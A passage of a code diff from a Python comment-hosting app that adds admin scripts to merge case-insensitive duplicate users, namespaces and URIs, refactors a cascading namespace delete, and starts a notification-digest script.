print(f" Deleted {deleted_ns} duplicate namespace associations")
|
||||||
|
|
||||||
|
# Handle namespace requests (may have unique constraints)
|
||||||
|
keep_ns_request_ids = {
|
||||||
|
nr.namespace_id for nr in dbsession.query(NamespaceRequest).filter(NamespaceRequest.user_id == keep_id)
|
||||||
|
}
|
||||||
|
delete_ns_requests = dbsession.query(NamespaceRequest).filter(NamespaceRequest.user_id == delete_id).all()
|
||||||
|
transferred_nr = 0
|
||||||
|
deleted_nr = 0
|
||||||
|
for ns_request in delete_ns_requests:
|
||||||
|
if ns_request.namespace_id in keep_ns_request_ids:
|
||||||
|
dbsession.delete(ns_request)
|
||||||
|
deleted_nr += 1
|
||||||
|
else:
|
||||||
|
ns_request.user_id = keep_id
|
||||||
|
transferred_nr += 1
|
||||||
|
if transferred_nr:
|
||||||
|
print(f" Transferred {transferred_nr} namespace requests")
|
||||||
|
if deleted_nr:
|
||||||
|
print(f" Deleted {deleted_nr} duplicate namespace requests")
|
||||||
|
|
||||||
|
# Update oauth records
|
||||||
|
updated = dbsession.query(Oauth).filter(Oauth.user_id == delete_id).update(
|
||||||
|
{Oauth.user_id: keep_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Transferred {updated} oauth records")
|
||||||
|
|
||||||
|
# Update payments
|
||||||
|
updated = dbsession.query(Payment).filter(Payment.user_id == delete_id).update(
|
||||||
|
{Payment.user_id: keep_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Transferred {updated} payments")
|
||||||
|
|
||||||
|
# Update pay_what_you_can (1-to-1, may need special handling)
|
||||||
|
existing_pwuc = dbsession.query(PayWhatYouCan).filter(PayWhatYouCan.user_id == keep_id).first()
|
||||||
|
delete_pwuc = dbsession.query(PayWhatYouCan).filter(PayWhatYouCan.user_id == delete_id).first()
|
||||||
|
if delete_pwuc:
|
||||||
|
if existing_pwuc:
|
||||||
|
# Keep user already has one, delete the duplicate's
|
||||||
|
dbsession.delete(delete_pwuc)
|
||||||
|
print(f" Deleted duplicate pay_what_you_can record")
|
||||||
|
else:
|
||||||
|
delete_pwuc.user_id = keep_id
|
||||||
|
print(f" Transferred pay_what_you_can record")
|
||||||
|
|
||||||
|
dbsession.flush()
|
||||||
|
|
||||||
|
# Delete the duplicate user
|
||||||
|
dbsession.delete(delete_user)
|
||||||
|
dbsession.flush()
|
||||||
|
print(f" Deleted user '{delete_user.name}'")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = get_arg_parser()
|
||||||
|
args = parser.parse_args()
|
||||||
|
setup_logging(args.config)
|
||||||
|
|
||||||
|
with bootstrap(args.config) as env, env["request"].tm as tm:
|
||||||
|
request = env["request"]
|
||||||
|
dbsession = request.dbsession
|
||||||
|
|
||||||
|
print("Searching for duplicate email users (case-insensitive)...")
|
||||||
|
duplicates = find_duplicate_email_users(dbsession)
|
||||||
|
|
||||||
|
if not duplicates:
|
||||||
|
print("No duplicate email users found.")
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"Found {len(duplicates)} email(s) with duplicate users:\n")
|
||||||
|
|
||||||
|
for email, users in duplicates.items():
|
||||||
|
# Sort by created timestamp (oldest first)
|
||||||
|
users_sorted = sorted(users, key=lambda u: u.created)
|
||||||
|
keep_user = users_sorted[0]
|
||||||
|
delete_users = users_sorted[1:]
|
||||||
|
|
||||||
|
print(f"Email: {email}")
|
||||||
|
print(f" Keeping: '{keep_user.name}' (id={keep_user.id}, created={keep_user.created})")
|
||||||
|
|
||||||
|
for delete_user in delete_users:
|
||||||
|
print(f" Deleting: '{delete_user.name}' (id={delete_user.id}, created={delete_user.created})")
|
||||||
|
merge_users(dbsession, keep_user, delete_user, dry_run=args.dry_run)
|
||||||
|
|
||||||
|
# Normalize the kept user's email to lowercase
|
||||||
|
if keep_user.email != email:
|
||||||
|
if args.dry_run:
|
||||||
|
print(f" Would normalize email from '{keep_user.email}' to '{email}'")
|
||||||
|
else:
|
||||||
|
keep_user.email = email
|
||||||
|
dbsession.add(keep_user)
|
||||||
|
dbsession.flush()
|
||||||
|
print(f" Normalized email to '{email}'")
|
||||||
|
|
||||||
|
print()
|
||||||
|
|
||||||
|
if args.dry_run:
|
||||||
|
print("DRY RUN - No changes were made. Run without --dry-run to apply changes.")
|
||||||
|
else:
|
||||||
|
print("Done. All duplicate users have been merged.")
|
||||||
380
remarkbox/scripts/merge_duplicate_namespaces.py
Normal file
|
|
@ -0,0 +1,380 @@
|
||||||
|
"""
|
||||||
|
Merge duplicate namespaces and URIs that have the same name/host (case-insensitive).
|
||||||
|
|
||||||
|
This script finds namespaces with names that differ only by case (e.g.,
|
||||||
|
'Example.com' and 'example.com') and merges them into a single namespace,
|
||||||
|
keeping the oldest one. It also normalizes URI hostnames to lowercase.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
remarkbox_merge_duplicate_namespaces -c production.ini --dry-run
|
||||||
|
remarkbox_merge_duplicate_namespaces -c production.ini
|
||||||
|
"""
|
||||||
|
from collections import defaultdict
|
||||||
|
|
||||||
|
from pyramid.paster import bootstrap, setup_logging
|
||||||
|
|
||||||
|
from sqlalchemy import func
|
||||||
|
|
||||||
|
from ..models import Namespace, Node, Uri, NamespaceUser, NamespaceRequest, Oauth, Watcher
|
||||||
|
|
||||||
|
from . import base_parser
|
||||||
|
|
||||||
|
import miniuri
|
||||||
|
|
||||||
|
try:
|
||||||
|
unicode("")
|
||||||
|
except Exception:
|
||||||
|
from six import u as unicode
|
||||||
|
|
||||||
|
|
||||||
|
def get_arg_parser():
|
||||||
|
parser = base_parser("Find and merge namespaces with duplicate names (case-insensitive).")
|
||||||
|
parser.add_argument(
|
||||||
|
"--dry-run",
|
||||||
|
action="store_true",
|
||||||
|
default=False,
|
||||||
|
help="Show what would be merged without making changes.",
|
||||||
|
)
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def find_duplicate_namespaces(dbsession):
|
||||||
|
"""
|
||||||
|
Find all namespaces with duplicate names (case-insensitive).
|
||||||
|
|
||||||
|
Returns a dict mapping lowercase name -> list of Namespace objects.
|
||||||
|
Only includes names with more than one namespace.
|
||||||
|
"""
|
||||||
|
duplicates = defaultdict(list)
|
||||||
|
|
||||||
|
namespaces = dbsession.query(Namespace).all()
|
||||||
|
|
||||||
|
for namespace in namespaces:
|
||||||
|
name_lower = namespace.name.lower()
|
||||||
|
duplicates[name_lower].append(namespace)
|
||||||
|
|
||||||
|
# Filter to only duplicates
|
||||||
|
return {
|
||||||
|
name: namespaces
|
||||||
|
for name, namespaces in duplicates.items()
|
||||||
|
if len(namespaces) > 1
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def find_duplicate_uris(dbsession):
|
||||||
|
"""
|
||||||
|
Find all URIs with duplicate data (case-insensitive).
|
||||||
|
|
||||||
|
Returns a dict mapping lowercase uri -> list of Uri objects.
|
||||||
|
Only includes URIs with more than one record.
|
||||||
|
"""
|
||||||
|
duplicates = defaultdict(list)
|
||||||
|
|
||||||
|
uris = dbsession.query(Uri).all()
|
||||||
|
|
||||||
|
for uri in uris:
|
||||||
|
uri_lower = uri.data.lower()
|
||||||
|
duplicates[uri_lower].append(uri)
|
||||||
|
|
||||||
|
# Filter to only duplicates
|
||||||
|
return {
|
||||||
|
uri: uri_list
|
||||||
|
for uri, uri_list in duplicates.items()
|
||||||
|
if len(uri_list) > 1
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def merge_namespaces(dbsession, keep_ns, delete_ns, dry_run=False):
|
||||||
|
"""
|
||||||
|
Merge delete_ns into keep_ns by transferring all related records.
|
||||||
|
|
||||||
|
Transfers:
|
||||||
|
- root nodes (threads)
|
||||||
|
- namespace_user associations
|
||||||
|
- namespace_requests
|
||||||
|
- oauth records
|
||||||
|
- watchers
|
||||||
|
- user_surrogates
|
||||||
|
"""
|
||||||
|
keep_id = keep_ns.id
|
||||||
|
delete_id = delete_ns.id
|
||||||
|
|
||||||
|
print(f" Merging '{delete_ns.name}' (id={delete_id}) into '{keep_ns.name}' (id={keep_id})")
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
counts = {
|
||||||
|
'root_nodes': dbsession.query(Node).filter(Node.namespace_id == delete_id).count(),
|
||||||
|
'namespace_users': dbsession.query(NamespaceUser).filter(NamespaceUser.namespace_id == delete_id).count(),
|
||||||
|
'namespace_requests': dbsession.query(NamespaceRequest).filter(NamespaceRequest.namespace_id == delete_id).count(),
|
||||||
|
'oauth': dbsession.query(Oauth).filter(Oauth.namespace_id == delete_id).count(),
|
||||||
|
'watchers': dbsession.query(Watcher).filter(Watcher.namespace_id == delete_id).count(),
|
||||||
|
}
|
||||||
|
|
||||||
|
for table, count in counts.items():
|
||||||
|
if count > 0:
|
||||||
|
print(f" Would transfer {count} {table}")
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
# Transfer root nodes
|
||||||
|
updated = dbsession.query(Node).filter(Node.namespace_id == delete_id).update(
|
||||||
|
{Node.namespace_id: keep_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Transferred {updated} root nodes")
|
||||||
|
|
||||||
|
# Handle namespace_user associations (unique constraint on user_id, namespace_id)
|
||||||
|
keep_user_ids = {
|
||||||
|
nu.user_id for nu in dbsession.query(NamespaceUser).filter(NamespaceUser.namespace_id == keep_id)
|
||||||
|
}
|
||||||
|
delete_ns_users = dbsession.query(NamespaceUser).filter(NamespaceUser.namespace_id == delete_id).all()
|
||||||
|
transferred_ns = 0
|
||||||
|
deleted_ns = 0
|
||||||
|
for ns_user in delete_ns_users:
|
||||||
|
if ns_user.user_id in keep_user_ids:
|
||||||
|
dbsession.delete(ns_user)
|
||||||
|
deleted_ns += 1
|
||||||
|
else:
|
||||||
|
ns_user.namespace_id = keep_id
|
||||||
|
transferred_ns += 1
|
||||||
|
if transferred_ns:
|
||||||
|
print(f" Transferred {transferred_ns} namespace_user associations")
|
||||||
|
if deleted_ns:
|
||||||
|
print(f" Deleted {deleted_ns} duplicate namespace_user associations")
|
||||||
|
|
||||||
|
# Handle namespace requests
|
||||||
|
keep_request_user_ids = {
|
||||||
|
nr.user_id for nr in dbsession.query(NamespaceRequest).filter(NamespaceRequest.namespace_id == keep_id)
|
||||||
|
}
|
||||||
|
delete_ns_requests = dbsession.query(NamespaceRequest).filter(NamespaceRequest.namespace_id == delete_id).all()
|
||||||
|
transferred_nr = 0
|
||||||
|
deleted_nr = 0
|
||||||
|
for ns_request in delete_ns_requests:
|
||||||
|
if ns_request.user_id in keep_request_user_ids:
|
||||||
|
dbsession.delete(ns_request)
|
||||||
|
deleted_nr += 1
|
||||||
|
else:
|
||||||
|
ns_request.namespace_id = keep_id
|
||||||
|
transferred_nr += 1
|
||||||
|
if transferred_nr:
|
||||||
|
print(f" Transferred {transferred_nr} namespace requests")
|
||||||
|
if deleted_nr:
|
||||||
|
print(f" Deleted {deleted_nr} duplicate namespace requests")
|
||||||
|
|
||||||
|
# Transfer oauth records
|
||||||
|
updated = dbsession.query(Oauth).filter(Oauth.namespace_id == delete_id).update(
|
||||||
|
{Oauth.namespace_id: keep_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Transferred {updated} oauth records")
|
||||||
|
|
||||||
|
# Handle watchers (may have duplicates watching same node for same user)
|
||||||
|
keep_watcher_keys = {
|
||||||
|
(w.user_id, w.node_id, w.type)
|
||||||
|
for w in dbsession.query(Watcher).filter(Watcher.namespace_id == keep_id)
|
||||||
|
}
|
||||||
|
delete_watchers = dbsession.query(Watcher).filter(Watcher.namespace_id == delete_id).all()
|
||||||
|
transferred_w = 0
|
||||||
|
deleted_w = 0
|
||||||
|
for watcher in delete_watchers:
|
||||||
|
key = (watcher.user_id, watcher.node_id, watcher.type)
|
||||||
|
if key in keep_watcher_keys:
|
||||||
|
dbsession.delete(watcher)
|
||||||
|
deleted_w += 1
|
||||||
|
else:
|
||||||
|
watcher.namespace_id = keep_id
|
||||||
|
transferred_w += 1
|
||||||
|
if transferred_w:
|
||||||
|
print(f" Transferred {transferred_w} watchers")
|
||||||
|
if deleted_w:
|
||||||
|
print(f" Deleted {deleted_w} duplicate watchers")
|
||||||
|
|
||||||
|
dbsession.flush()
|
||||||
|
|
||||||
|
# Delete the duplicate namespace
|
||||||
|
dbsession.delete(delete_ns)
|
||||||
|
dbsession.flush()
|
||||||
|
print(f" Deleted namespace '{delete_ns.name}'")
|
||||||
|
|
||||||
|
|
||||||
|
def merge_uris(dbsession, keep_uri, delete_uri, dry_run=False):
|
||||||
|
"""
|
||||||
|
Merge delete_uri into keep_uri by transferring the node association.
|
||||||
|
|
||||||
|
If delete_uri has a node but keep_uri does not, transfer the node.
|
||||||
|
If both have nodes, transfer the children from delete_uri's node to keep_uri's node.
|
||||||
|
"""
|
||||||
|
print(f" Merging URI '{delete_uri.data}' into '{keep_uri.data}'")
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
if delete_uri.node_id:
|
||||||
|
if keep_uri.node_id:
|
||||||
|
child_count = dbsession.query(Node).filter(Node.root_id == delete_uri.node_id, Node.parent_id != None).count()
|
||||||
|
print(f" Would transfer {child_count} child nodes from root {delete_uri.node_id} to root {keep_uri.node_id}")
|
||||||
|
else:
|
||||||
|
print(f" Would transfer node {delete_uri.node_id} to kept URI")
|
||||||
|
return
|
||||||
|
|
||||||
|
if delete_uri.node_id:
|
||||||
|
if keep_uri.node_id is None:
|
||||||
|
# keep_uri has no node, just reassign
|
||||||
|
keep_uri.node_id = delete_uri.node_id
|
||||||
|
delete_uri.node_id = None
|
||||||
|
dbsession.flush()
|
||||||
|
print(f" Transferred node to kept URI")
|
||||||
|
else:
|
||||||
|
# Both have nodes - transfer children from delete's root to keep's root
|
||||||
|
updated = dbsession.query(Node).filter(
|
||||||
|
Node.root_id == delete_uri.node_id,
|
||||||
|
Node.parent_id != None,
|
||||||
|
).update(
|
||||||
|
{Node.root_id: keep_uri.node_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Transferred {updated} child nodes to kept URI's root")
|
||||||
|
|
||||||
|
# Transfer direct children whose parent is the delete root
|
||||||
|
updated = dbsession.query(Node).filter(
|
||||||
|
Node.parent_id == delete_uri.node_id,
|
||||||
|
).update(
|
||||||
|
{Node.parent_id: keep_uri.node_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Re-parented {updated} direct children to kept URI's root")
|
||||||
|
|
||||||
|
# Delete the orphaned root node
|
||||||
|
orphan_root = dbsession.query(Node).filter(Node.id == delete_uri.node_id).one_or_none()
|
||||||
|
if orphan_root:
|
||||||
|
delete_uri.node_id = None
|
||||||
|
dbsession.flush()
|
||||||
|
dbsession.delete(orphan_root)
|
||||||
|
dbsession.flush()
|
||||||
|
print(f" Deleted orphaned root node")
|
||||||
|
|
||||||
|
# Delete the duplicate URI
|
||||||
|
dbsession.delete(delete_uri)
|
||||||
|
dbsession.flush()
|
||||||
|
print(f" Deleted URI '{delete_uri.data}'")
|
||||||
|
|
||||||
|
|
||||||
|
def normalize_uri_hostnames(dbsession, dry_run=False):
|
||||||
|
"""
|
||||||
|
Normalize all URI hostnames to lowercase.
|
||||||
|
"""
|
||||||
|
uris = dbsession.query(Uri).all()
|
||||||
|
normalized_count = 0
|
||||||
|
for uri in uris:
|
||||||
|
try:
|
||||||
|
parsed = miniuri.Uri(uri.data)
|
||||||
|
if parsed.hostname and parsed.hostname != parsed.hostname.lower():
|
||||||
|
old_data = uri.data
|
||||||
|
new_data = uri.data.replace(parsed.hostname, parsed.hostname.lower(), 1)
|
||||||
|
if dry_run:
|
||||||
|
print(f" Would normalize URI: '{old_data}' -> '{new_data}'")
|
||||||
|
else:
|
||||||
|
uri.data = new_data
|
||||||
|
dbsession.add(uri)
|
||||||
|
normalized_count += 1
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if normalized_count:
|
||||||
|
if not dry_run:
|
||||||
|
dbsession.flush()
|
||||||
|
print(f"{'Would normalize' if dry_run else 'Normalized'} {normalized_count} URI hostname(s) to lowercase")
|
||||||
|
|
||||||
|
return normalized_count
|
||||||
|
|
||||||
|
|
||||||
|
def normalize_namespace_names(dbsession, dry_run=False):
|
||||||
|
"""
|
||||||
|
Normalize all namespace names to lowercase.
|
||||||
|
"""
|
||||||
|
namespaces = dbsession.query(Namespace).all()
|
||||||
|
normalized_count = 0
|
||||||
|
for namespace in namespaces:
|
||||||
|
if namespace.name != namespace.name.lower():
|
||||||
|
old_name = namespace.name
|
||||||
|
new_name = namespace.name.lower()
|
||||||
|
if dry_run:
|
||||||
|
print(f" Would normalize namespace: '{old_name}' -> '{new_name}'")
|
||||||
|
else:
|
||||||
|
namespace.name = new_name
|
||||||
|
dbsession.add(namespace)
|
||||||
|
normalized_count += 1
|
||||||
|
|
||||||
|
if normalized_count:
|
||||||
|
if not dry_run:
|
||||||
|
dbsession.flush()
|
||||||
|
print(f"{'Would normalize' if dry_run else 'Normalized'} {normalized_count} namespace name(s) to lowercase")
|
||||||
|
|
||||||
|
return normalized_count
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = get_arg_parser()
|
||||||
|
args = parser.parse_args()
|
||||||
|
setup_logging(args.config)
|
||||||
|
|
||||||
|
with bootstrap(args.config) as env, env["request"].tm as tm:
|
||||||
|
request = env["request"]
|
||||||
|
dbsession = request.dbsession
|
||||||
|
|
||||||
|
# Step 1: Find and merge duplicate namespaces
|
||||||
|
print("Searching for duplicate namespaces (case-insensitive)...")
|
||||||
|
ns_duplicates = find_duplicate_namespaces(dbsession)
|
||||||
|
|
||||||
|
if ns_duplicates:
|
||||||
|
print(f"Found {len(ns_duplicates)} namespace name(s) with duplicates:\n")
|
||||||
|
|
||||||
|
for name, namespaces in ns_duplicates.items():
|
||||||
|
# Sort by id to keep the oldest (UUID1 is time-based)
|
||||||
|
namespaces_sorted = sorted(namespaces, key=lambda ns: ns.id.time)
|
||||||
|
keep_ns = namespaces_sorted[0]
|
||||||
|
delete_namespaces = namespaces_sorted[1:]
|
||||||
|
|
||||||
|
print(f"Namespace: {name}")
|
||||||
|
print(f" Keeping: '{keep_ns.name}' (id={keep_ns.id})")
|
||||||
|
|
||||||
|
for delete_ns in delete_namespaces:
|
||||||
|
print(f" Deleting: '{delete_ns.name}' (id={delete_ns.id})")
|
||||||
|
merge_namespaces(dbsession, keep_ns, delete_ns, dry_run=args.dry_run)
|
||||||
|
|
||||||
|
print()
|
||||||
|
else:
|
||||||
|
print("No duplicate namespaces found.\n")
|
||||||
|
|
||||||
|
# Step 2: Find and merge duplicate URIs
|
||||||
|
print("Searching for duplicate URIs (case-insensitive)...")
|
||||||
|
uri_duplicates = find_duplicate_uris(dbsession)
|
||||||
|
|
||||||
|
if uri_duplicates:
|
||||||
|
print(f"Found {len(uri_duplicates)} URI(s) with duplicates:\n")
|
||||||
|
|
||||||
|
for uri_lower, uris in uri_duplicates.items():
|
||||||
|
uris_sorted = sorted(uris, key=lambda u: u.id.time)
|
||||||
|
keep_uri = uris_sorted[0]
|
||||||
|
delete_uris = uris_sorted[1:]
|
||||||
|
|
||||||
|
print(f"URI: {uri_lower}")
|
||||||
|
print(f" Keeping: '{keep_uri.data}' (id={keep_uri.id})")
|
||||||
|
|
||||||
|
for delete_uri in delete_uris:
|
||||||
|
print(f" Deleting: '{delete_uri.data}' (id={delete_uri.id})")
|
||||||
|
merge_uris(dbsession, keep_uri, delete_uri, dry_run=args.dry_run)
|
||||||
|
|
||||||
|
print()
|
||||||
|
else:
|
||||||
|
print("No duplicate URIs found.\n")
|
||||||
|
|
||||||
|
# Step 3: Normalize remaining namespace names and URI hostnames
|
||||||
|
print("Normalizing namespace names to lowercase...")
|
||||||
|
normalize_namespace_names(dbsession, dry_run=args.dry_run)
|
||||||
|
|
||||||
|
print("\nNormalizing URI hostnames to lowercase...")
|
||||||
|
normalize_uri_hostnames(dbsession, dry_run=args.dry_run)
|
||||||
|
|
||||||
|
if args.dry_run:
|
||||||
|
print("\nDRY RUN - No changes were made. Run without --dry-run to apply changes.")
|
||||||
|
else:
|
||||||
|
print("\nDone. All duplicates have been merged and names normalized.")
|
||||||
|
|
@ -12,6 +12,47 @@ from . import base_parser
|
||||||
toggle = lambda x: not x
|
toggle = lambda x: not x
|
||||||
|
|
||||||
|
|
||||||
|
def delete_namespace_cascade(dbsession, namespace):
|
||||||
|
"""
|
||||||
|
Perform cascading deletion of a namespace and all associated data.
|
||||||
|
Reused by both the CLI script and the web view.
|
||||||
|
"""
|
||||||
|
nodes = get_nodes_who_share_roots(dbsession, namespace.roots)
|
||||||
|
for node in nodes:
|
||||||
|
if node.events:
|
||||||
|
for event in node.events:
|
||||||
|
dbsession.delete(event)
|
||||||
|
dbsession.delete(node)
|
||||||
|
for root in namespace.roots:
|
||||||
|
if root.uri:
|
||||||
|
dbsession.delete(root.uri)
|
||||||
|
if root.cache:
|
||||||
|
dbsession.delete(root.cache)
|
||||||
|
if root.watchers:
|
||||||
|
for watcher in root.watchers:
|
||||||
|
if watcher.unsent_notifications():
|
||||||
|
for notification in watcher.unsent_notifications():
|
||||||
|
dbsession.delete(notification)
|
||||||
|
dbsession.delete(watcher)
|
||||||
|
if namespace.watchers:
|
||||||
|
for watcher in namespace.watchers:
|
||||||
|
if watcher.unsent_notifications():
|
||||||
|
for notification in watcher.unsent_notifications():
|
||||||
|
dbsession.delete(notification)
|
||||||
|
dbsession.delete(watcher)
|
||||||
|
if namespace.namespace_users:
|
||||||
|
for nsu in namespace.namespace_users:
|
||||||
|
dbsession.delete(nsu)
|
||||||
|
if namespace.oauth_records:
|
||||||
|
for oauth_record in namespace.oauth_records:
|
||||||
|
dbsession.delete(oauth_record)
|
||||||
|
if namespace.namespace_owner_requests:
|
||||||
|
for nr in namespace.namespace_owner_requests:
|
||||||
|
dbsession.delete(nr)
|
||||||
|
dbsession.delete(namespace)
|
||||||
|
dbsession.flush()
|
||||||
|
|
||||||
|
|
||||||
def get_arg_parser():
|
def get_arg_parser():
|
||||||
parser = base_parser("Modify a Namespace.")
|
parser = base_parser("Modify a Namespace.")
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
|
|
@ -98,61 +139,11 @@ def main():
|
||||||
|
|
||||||
elif args.delete:
|
elif args.delete:
|
||||||
|
|
||||||
nodes = get_nodes_who_share_roots(request.dbsession, namespace.roots)
|
|
||||||
|
|
||||||
# delete all nodes.
|
|
||||||
for node in nodes:
|
|
||||||
if node.events:
|
|
||||||
# delete all related NodeEvents.
|
|
||||||
for event in node.events:
|
|
||||||
request.dbsession.delete(event)
|
|
||||||
|
|
||||||
# delete node.
|
|
||||||
request.dbsession.delete(node)
|
|
||||||
|
|
||||||
for root in namespace.roots:
|
|
||||||
if root.uri:
|
|
||||||
# delete related Uri.
|
|
||||||
request.dbsession.delete(root.uri)
|
|
||||||
if root.cache:
|
|
||||||
# delete related NodeCache.
|
|
||||||
request.dbsession.delete(root.cache)
|
|
||||||
if root.watchers:
|
|
||||||
# delete all related NodeEventWatchers.
|
|
||||||
for watcher in root.watchers:
|
|
||||||
# delete all unsent NodeEventNotifications.
|
|
||||||
if watcher.unsent_notifications():
|
|
||||||
for notification in watcher.unsent_notifications():
|
|
||||||
request.dbsession.delete(notification)
|
|
||||||
request.dbsession.delete(watcher)
|
|
||||||
|
|
||||||
if namespace.watchers:
|
|
||||||
for watcher in namespace.watchers:
|
|
||||||
# delete all unsent NodeEventNotifications.
|
|
||||||
if watcher.unsent_notifications():
|
|
||||||
for notification in watcher.unsent_notifications():
|
|
||||||
request.dbsession.delete(notification)
|
|
||||||
request.dbsession.delete(watcher)
|
|
||||||
|
|
||||||
# disable all related NamespaceUser objects.
|
|
||||||
if namespace.namespace_users:
|
|
||||||
for nsu in namespace.namespace_users:
|
|
||||||
# delete related NamespaceUser.
|
|
||||||
request.dbsession.delete(nsu)
|
|
||||||
|
|
||||||
# delete all related OauthRecords.
|
|
||||||
if namespace.oauth_records:
|
|
||||||
for oauth_record in namespace.oauth_records:
|
|
||||||
request.dbsession.delete(oauth_record)
|
|
||||||
|
|
||||||
# finally delete Namespace.
|
|
||||||
request.dbsession.delete(namespace)
|
|
||||||
|
|
||||||
if (
|
if (
|
||||||
raw_input("*** DANGER: Delete Namespace '{}' ({}) forever? [yes, no]: ".format(namespace.name, namespace.id))
|
raw_input("*** DANGER: Delete Namespace '{}' ({}) forever? [yes, no]: ".format(namespace.name, namespace.id))
|
||||||
== "yes"
|
== "yes"
|
||||||
):
|
):
|
||||||
request.dbsession.flush()
|
delete_namespace_cascade(request.dbsession, namespace)
|
||||||
print("Flushed transaction to database, the Namespace was completely destroyed!")
|
print("Flushed transaction to database, the Namespace was completely destroyed!")
|
||||||
else:
|
else:
|
||||||
sp.rollback()
|
sp.rollback()
|
||||||
|
|
|
||||||
|
|
@ -79,8 +79,8 @@ def info_node(node):
|
||||||
|
|
||||||
def get_arg_parser():
|
def get_arg_parser():
|
||||||
parser = base_parser("Modify a Node.")
|
parser = base_parser("Modify a Node.")
|
||||||
parser.add_argument("-u", "--uri", type=unicode, default=None)
|
parser.add_argument("-u", "--uri", type=str, default=None)
|
||||||
parser.add_argument("-i", "--id", type=unicode, default=None)
|
parser.add_argument("-i", "--id", type=str, default=None)
|
||||||
parser.add_argument("--show", default=False, action="store_true")
|
parser.add_argument("--show", default=False, action="store_true")
|
||||||
parser.add_argument("--info", default=False, action="store_true")
|
parser.add_argument("--info", default=False, action="store_true")
|
||||||
parser.add_argument("--move", default=False, metavar="NEW-PARENT-ID")
|
parser.add_argument("--move", default=False, metavar="NEW-PARENT-ID")
|
||||||
|
|
@ -143,7 +143,7 @@ def main():
|
||||||
|
|
||||||
if args.delete:
|
if args.delete:
|
||||||
if (
|
if (
|
||||||
raw_input("Delete node '{}' forever? [yes, no]: ".format(node.id))
|
input("Delete node '{}' forever? [yes, no]: ".format(node.id))
|
||||||
== "yes"
|
== "yes"
|
||||||
):
|
):
|
||||||
request.dbsession.delete(node)
|
request.dbsession.delete(node)
|
||||||
|
|
|
||||||
|
|
@ -1,19 +1,209 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Send Node Digest Notifications Script
|
||||||
|
|
||||||
|
This script sends scheduled node event notifications via email digest and ensures
|
||||||
|
all sent notifications are properly marked as sent in the database to prevent
|
||||||
|
duplicate notifications on subsequent runs.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
remarkbox_send_node_digest_notifications production.ini
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import transaction
|
||||||
from pyramid.paster import bootstrap, setup_logging
|
from pyramid.paster import bootstrap, setup_logging
|
||||||
|
|
||||||
from ..lib.notify import deliver_scheduled_notifications
|
from ..lib.notify import get_email_notifications, send_digest_notifications, filter_orphaned_notifications
|
||||||
|
from ..models import get_tm_session
|
||||||
|
from ..models.notification import NodeEventNotification
|
||||||
|
from ..models.meta import now_timestamp
|
||||||
from . import base_parser
|
from . import base_parser
|
||||||
|
|
||||||
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def get_arg_parser():
|
def get_arg_parser():
|
||||||
parser = base_parser("Send Node Notification Digests.")
|
"""Configure command line argument parser."""
|
||||||
return parser
|
return base_parser("Send Node Notification Digests.")
|
||||||
|
|
||||||
|
|
||||||
|
def should_have_been_sent(notification):
|
||||||
|
"""
|
||||||
|
Check if notification should have been sent based on frequency and age.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
notification: NodeEventNotification object to check
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if notification should have been sent, False otherwise
|
||||||
|
"""
|
||||||
|
frequency = notification.frequency
|
||||||
|
age_ms = now_timestamp() - notification.created_timestamp
|
||||||
|
|
||||||
|
if frequency == "immediately":
|
||||||
|
return True
|
||||||
|
elif frequency == "daily":
|
||||||
|
# Should be sent if older than 24 hours
|
||||||
|
return age_ms >= (24 * 60 * 60 * 1000)
|
||||||
|
elif frequency == "weekly":
|
||||||
|
# Should be sent if older than 7 days
|
||||||
|
return age_ms >= (7 * 24 * 60 * 60 * 1000)
|
||||||
|
elif frequency == "never":
|
||||||
|
return False
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def safe_deliver_scheduled_notifications(request, dbsession):
|
||||||
|
"""
|
||||||
|
Deliver scheduled notifications with protection against orphaned notifications.
|
||||||
|
"""
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
# Temporarily replace request.dbsession with our transaction-managed session
|
||||||
|
old_dbsession = request.dbsession
|
||||||
|
request.dbsession = dbsession
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Get daily notifications and filter out orphaned ones
|
||||||
|
notification_dict = get_email_notifications(dbsession, "daily")
|
||||||
|
filtered_dict = filter_orphaned_notifications(notification_dict)
|
||||||
|
send_digest_notifications(request, filtered_dict, "daily")
|
||||||
|
|
||||||
|
# Send weekly on Monday
|
||||||
|
if datetime.today().weekday() == 0:
|
||||||
|
notification_dict = get_email_notifications(dbsession, "weekly")
|
||||||
|
filtered_dict = filter_orphaned_notifications(notification_dict)
|
||||||
|
send_digest_notifications(request, filtered_dict, "weekly")
|
||||||
|
finally:
|
||||||
|
# Restore original dbsession
|
||||||
|
request.dbsession = old_dbsession
|
||||||
|
|
||||||
|
|
||||||
|
def get_unsent_notification_count(request):
|
||||||
|
"""
|
||||||
|
Get count of unsent notifications using a fresh database session.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
request: Pyramid request object
|
||||||
|
|
||||||
